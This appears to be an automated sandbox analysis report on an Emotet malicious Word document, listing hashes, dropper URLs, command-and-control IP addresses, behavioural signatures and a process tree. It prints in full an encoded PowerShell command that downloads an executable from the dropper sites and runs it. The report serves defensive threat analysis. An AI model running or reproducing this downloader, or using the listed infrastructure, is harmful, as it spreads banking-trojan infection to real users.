emotet | cd0aaf460944efd580dcc39bc1dd0460f88f2c3c17e303694ffa1eae5020eab2

General

Target
emotet_e3_cd0aaf460944efd580dcc39bc1dd0460f88f2c3c17e303694ffa1eae5020eab2_2020-08-13__041400._doc.doc
Size 229KB
Sample200813-epdkkpgp3s
SHA256 cd0aaf460944efd580dcc39bc1dd0460f88f2c3c17e303694ffa1eae5020eab2
MD5 2a44e00e46721520a68bdc3b24fa5904
SHA1 a073c6789c9821a359ad6648883d2e90d65e973e
SHA512 7a04ab1c9d98e5d6734aa69616be9f737e40d18cafe457131bec202af2a04c2af0eb6d0222f0e33809e89e6bdeda633e201e1c4dc29bb9f5b8641d7c56d043d8
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
https://www.agenciaeureka.com.br/assinaturas/jXLI/
exe.dropper
http://www.bap-host.com/COPYRIGHT/ehtw3u2zpwx97815/
exe.dropper
http://ora-ks.com/BACKUPS/M8hgn2sqa0eqm076/
exe.dropper
http://michaelsteinfeld.com/cgi-bin/hkXmR/
exe.dropper
https://pwiic.com/Cache/multipharma.pwiic.loc/MpzUrA/

Extracted

Family

emotet

C2

176.216.226.44:80
159.203.232.29:8080
185.86.148.68:443
87.106.231.60:8080
113.161.148.81:80
78.189.60.109:443
192.163.221.191:8080
31.146.61.34:80
37.70.131.107:80
153.220.182.49:80
177.144.130.105:443
181.167.35.84:80
202.5.47.71:80
192.241.220.183:8080
78.188.170.128:80
182.176.95.147:80
87.252.100.28:80
115.78.11.155:80
212.156.133.218:80
203.153.216.178:7080
77.74.78.80:443
216.75.37.196:8080
195.201.56.70:8080
115.165.3.213:80
217.199.160.224:8080
105.213.67.88:80
190.55.233.156:80
91.83.93.103:443
181.164.110.7:80
51.38.201.19:7080
50.116.78.109:8080
178.33.167.120:8080
176.9.93.82:7080
192.210.217.94:8080
113.160.180.109:80
75.139.38.211:80
157.7.164.178:8081
190.164.75.175:80
182.187.139.200:8080
172.96.190.154:8080
37.46.129.215:8080
201.235.10.215:80
188.166.25.84:8080
181.113.229.139:443
139.99.157.213:8080
5.79.70.250:8080
190.190.15.20:80
212.112.113.235:80
143.95.101.72:8080
81.17.93.134:80
172.105.78.244:8080
46.105.131.68:8080
105.209.235.113:8080
92.24.51.238:80
163.172.107.70:8080
187.64.128.197:80
188.251.213.180:443
81.214.253.80:443
181.134.9.162:80
185.208.226.142:8080
46.32.229.152:8080
188.0.135.237:80
41.185.29.128:8080
179.5.118.12:80
177.37.81.212:443
107.161.30.122:8080
198.57.203.63:8080
114.173.201.110:80
97.104.107.190:80
139.59.12.63:8080
185.142.236.163:443
203.153.216.182:7080
75.127.14.170:8080
74.208.173.91:8080
115.79.195.246:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	744	1132	powersheLL.exe	67

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3448-11-0x0000000000A10000-0x0000000000A1C000-memory.dmp	emotet
behavioral2/memory/3448-11-0x0000000000A10000-0x0000000000A1C000-memory.dmp	emotet
behavioral2/memory/3116-14-0x0000000000950000-0x000000000095C000-memory.dmp	emotet
behavioral2/memory/3116-14-0x0000000000950000-0x000000000095C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
21	744	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3448	245.exe
3116	mfaudiocnv.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\KBDGEO\mfaudiocnv.exe	245.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
584	WINWORD.EXE
584	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
744	powersheLL.exe
744	powersheLL.exe
744	powersheLL.exe
3116	mfaudiocnv.exe
3116	mfaudiocnv.exe
3116	mfaudiocnv.exe
3116	mfaudiocnv.exe
3116	mfaudiocnv.exe
3116	mfaudiocnv.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	744	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
3448	245.exe
3448	245.exe
3116	mfaudiocnv.exe
3116	mfaudiocnv.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3448 wrote to memory of 3116	3448	245.exe	79
PID 3448 wrote to memory of 3116	3448	245.exe	79
PID 3448 wrote to memory of 3116	3448	245.exe	79

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_cd0aaf460944efd580dcc39bc1dd0460f88f2c3c17e303694ffa1eae5020eab2_2020-08-13__041400._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:584

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABRAFYASABUAEkAaQB2AHQAPQAnAFMAWQBTAFUAUgBpAGkAYQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYABDAFUAUgBJAHQAeQBQAFIATwBgAFQAYABPAGMAYABvAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABOAEYAQQBMAEwAaAB4AHAAIAA9ACAAJwAyADQANQAnADsAJABSAEwAQQBSAEwAZgBwAGoAPQAnAFcAVABZAFgATwByAHMAbAAnADsAJABDAFEATwBZAFcAcgBlAHEAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAE4ARgBBAEwATABoAHgAcAArACcALgBlAHgAZQAnADsAJABJAEgARwBDAEQAeABtAHIAPQAnAFMATgBTAEMATABiAHcAeAAnADsAJABUAFYARABBAE8AaQBjAHgAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgAnACsAJwBqAGUAJwArACcAYwB0ACcAKQAgAG4ARQB0AC4AdwBlAGIAYwBMAEkAZQBOAFQAOwAkAFEASABTAFYAQgBhAGMAcAA9ACcAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AYQBnAGUAbgBjAGkAYQBlAHUAcgBlAGsAYQAuAGMAbwBtAC4AYgByAC8AYQBzAHMAaQBuAGEAdAB1AHIAYQBzAC8AagBYAEwASQAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGIAYQBwAC0AaABvAHMAdAAuAGMAbwBtAC8AQwBPAFAAWQBSAEkARwBIAFQALwBlAGgAdAB3ADMAdQAyAHoAcAB3AHgAOQA3ADgAMQA1AC8AKgBoAHQAdABwADoALwAvAG8AcgBhAC0AawBzAC4AYwBvAG0ALwBCAEEAQwBLAFUAUABTAC8ATQA4AGgAZwBuADIAcwBxAGEAMABlAHEAbQAwADcANgAvACoAaAB0AHQAcAA6AC8ALwBtAGkAYwBoAGEAZQBsAHMAdABlAGkAbgBmAGUAbABkAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AaABrAFgAbQBSAC8AKgBoAHQAdABwAHMAOgAvAC8AcAB3AGkAaQBjAC4AYwBvAG0ALwBDAGEAYwBoAGUALwBtAHUAbAB0AGkAcABoAGEAcgBtAGEALgBwAHcAaQBpAGMALgBsAG8AYwAvAE0AcAB6AFUAcgBBAC8AJwAuACIAUwBQAGwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABQAEQAVgBOAFQAeQBiAHcAPQAnAFUAQQBFAEQAWQB4AHEAcwAnADsAZgBvAHIAZQBhAGMAaAAoACQASABGAEYAVgBEAGkAaQBnACAAaQBuACAAJABRAEgAUwBWAEIAYQBjAHAAKQB7AHQAcgB5AHsAJABUAFYARABBAE8AaQBjAHgALgAiAEQATwB3AG4ATABvAGAAQQBEAGYAYABpAGAATABlACIAKAAkAEgARgBGAFYARABpAGkAZwAsACAAJABDAFEATwBZAFcAcgBlAHEAKQA7ACQAVQBPAEkARABGAHQAZAB4AD0AJwBDAFUASQBXAEIAcQBsAGQAJwA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABDAFEATwBZAFcAcgBlAHEAKQAuACIAbABlAGAATgBnAHQASAAiACAALQBnAGUAIAAyADUAOAA1ADgAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAGUAYQBgAFQARQAiACgAJABDAFEATwBZAFcAcgBlAHEAKQA7ACQAVQBPAEgAQgBHAHcAcwByAD0AJwBPAE8AVgBMAFMAZABiAGkAJwA7AGIAcgBlAGEAawA7ACQATQBZAEIASwBXAGMAeQBjAD0AJwBYAFoATgBSAFYAcAB1AHgAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATgBOAEIARwBOAGMAZgBpAD0AJwBIAEkAUABUAFoAaQBuAHIAJwA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:744

C:\Users\Admin\245.exe
C:\Users\Admin\245.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3448
- C:\Windows\SysWOW64\KBDGEO\mfaudiocnv.exe
  "C:\Windows\SysWOW64\KBDGEO\mfaudiocnv.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:3116

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/584-0-0x00007FFEAA570000-0x00007FFEAAC36000-memory.dmp

Download

memory/744-6-0x00007FFEA1D70000-0x00007FFEA275C000-memory.dmp

Download

memory/744-7-0x000001E01D500000-0x000001E01D501000-memory.dmp

Download

memory/744-8-0x000001E035870000-0x000001E035871000-memory.dmp

Download

memory/3116-14-0x0000000000950000-0x000000000095C000-memory.dmp

Download

memory/3448-11-0x0000000000A10000-0x0000000000A1C000-memory.dmp

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads